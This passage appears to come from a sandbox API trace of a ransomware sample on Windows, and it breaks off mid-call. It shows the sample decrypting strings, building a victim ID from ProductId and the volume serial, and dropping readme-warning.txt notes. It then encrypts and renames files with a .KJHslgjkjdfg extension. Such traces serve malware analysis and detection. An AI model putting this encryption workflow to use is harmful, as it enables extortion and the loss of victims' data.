(in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0145.163] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0145.163] CryptDestroyKey (hKey=0x2c6420) returned 1 [0145.163] GetProcessHeap () returned 0x2a0000 [0145.163] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f79d8 [0145.163] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0145.163] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f79d8, pdwDataLen=0x290eb98 | out: pbData=0x2f79d8, pdwDataLen=0x290eb98) returned 1 [0145.163] CryptDestroyKey (hKey=0x2c6420) returned 1 [0145.163] GetProcessHeap () returned 0x2a0000 [0145.163] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0145.163] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0145.163] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0145.163] CryptDestroyKey (hKey=0x2c6420) returned 1 [0145.163] GetProcessHeap () returned 0x2a0000 [0145.163] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0145.164] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0145.164] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0145.164] CryptDestroyKey (hKey=0x2c6420) returned 1 [0145.164] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0145.164] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0145.164] RegCloseKey (hKey=0x13c) returned 0x0 [0145.164] GetProcessHeap () returned 0x2a0000 [0145.164] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0145.164] GetProcessHeap () returned 0x2a0000 [0145.164] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0145.164] GetProcessHeap () returned 0x2a0000 [0145.164] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0145.164] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0145.164] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0145.164] CryptDestroyKey (hKey=0x2c6420) returned 1 [0145.165] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0145.165] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0145.165] GetProcessHeap () returned 0x2a0000 [0145.165] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0145.165] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0145.166] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0145.166] GetProcessHeap () returned 0x2a0000 [0145.166] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7da0 [0145.166] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\readme-warning.txt") returned 86 [0145.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0145.168] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7da0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7da0*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0145.170] CloseHandle (hObject=0x13c) returned 1 [0145.170] GetProcessHeap () returned 0x2a0000 [0145.170] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f79d8 | out: hHeap=0x2a0000) returned 1 [0145.170] GetProcessHeap () returned 0x2a0000 [0145.170] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7da0 | out: hHeap=0x2a0000) returned 1 [0145.170] GetProcessHeap () returned 0x2a0000 [0145.170] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0145.170] GetProcessHeap () returned 0x2a0000 [0145.170] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.170] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0145.171] GetProcessHeap () returned 0x2a0000 [0145.171] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0145.171] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0145.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.173] GetProcessHeap () returned 0x2a0000 [0145.173] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.173] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.173] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0145.174] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x1, lpOverlapped=0x0) returned 1 [0145.176] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.176] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.176] GetProcessHeap () returned 0x2a0000 [0145.176] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0145.176] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0145.177] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.177] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0145.177] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0145.177] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0145.177] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0145.177] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0145.177] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0145.177] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.177] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.177] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.177] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x377ef, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x377ef, lpOverlapped=0x0) returned 1 [0145.182] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x377f0, dwBufLen=0x377f0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x377f0) returned 1 [0145.185] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.185] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x377f0, lpOverlapped=0x0) returned 1 [0145.186] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.186] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x378b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.186] SetEndOfFile (hFile=0x118) returned 1 [0145.190] GetProcessHeap () returned 0x2a0000 [0145.190] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0145.190] GetProcessHeap () returned 0x2a0000 [0145.190] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.191] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.kjhslgjkjdfg")) returned 1 [0145.198] CloseHandle (hObject=0x118) returned 1 [0145.198] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0145.199] GetProcessHeap () returned 0x2a0000 [0145.199] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.199] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.199] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0145.199] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.199] GetProcessHeap () returned 0x2a0000 [0145.199] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0145.199] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.199] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0145.199] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.199] GetProcessHeap () returned 0x2a0000 [0145.199] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0145.199] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.199] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0145.199] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.199] GetProcessHeap () returned 0x2a0000 [0145.199] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0145.199] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.199] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0145.199] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.200] GetProcessHeap () returned 0x2a0000 [0145.200] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0145.200] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.200] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0145.200] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.200] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0145.200] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0145.200] RegCloseKey (hKey=0x118) returned 0x0 [0145.200] GetProcessHeap () returned 0x2a0000 [0145.200] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0145.200] GetProcessHeap () returned 0x2a0000 [0145.215] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0145.215] GetProcessHeap () returned 0x2a0000 [0145.215] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0145.215] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.215] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0145.216] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.216] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0145.216] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0145.216] GetProcessHeap () returned 0x2a0000 [0145.216] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0145.216] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0145.216] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0145.216] GetProcessHeap () returned 0x2a0000 [0145.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0145.216] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\readme-warning.txt") returned 81 [0145.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.219] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0145.220] CloseHandle (hObject=0x118) returned 1 [0145.221] GetProcessHeap () returned 0x2a0000 [0145.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0145.221] GetProcessHeap () returned 0x2a0000 [0145.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0145.221] GetProcessHeap () returned 0x2a0000 [0145.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0145.221] GetProcessHeap () returned 0x2a0000 [0145.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.221] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0145.221] GetProcessHeap () returned 0x2a0000 [0145.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0145.221] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0145.221] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0145.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0145.223] GetProcessHeap () returned 0x2a0000 [0145.223] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.223] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.223] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0145.223] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0145.225] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0145.225] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.225] GetProcessHeap () returned 0x2a0000 [0145.226] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.226] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0145.226] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.226] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0145.226] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0145.226] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0145.226] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0145.226] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0145.226] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0145.226] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0145.226] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.226] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.227] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x100000, lpOverlapped=0x0) returned 1 [0145.623] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x100000, dwBufLen=0x100000 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x100000) returned 1 [0145.646] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.646] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x100000, lpOverlapped=0x0) returned 1 [0145.649] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x120f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 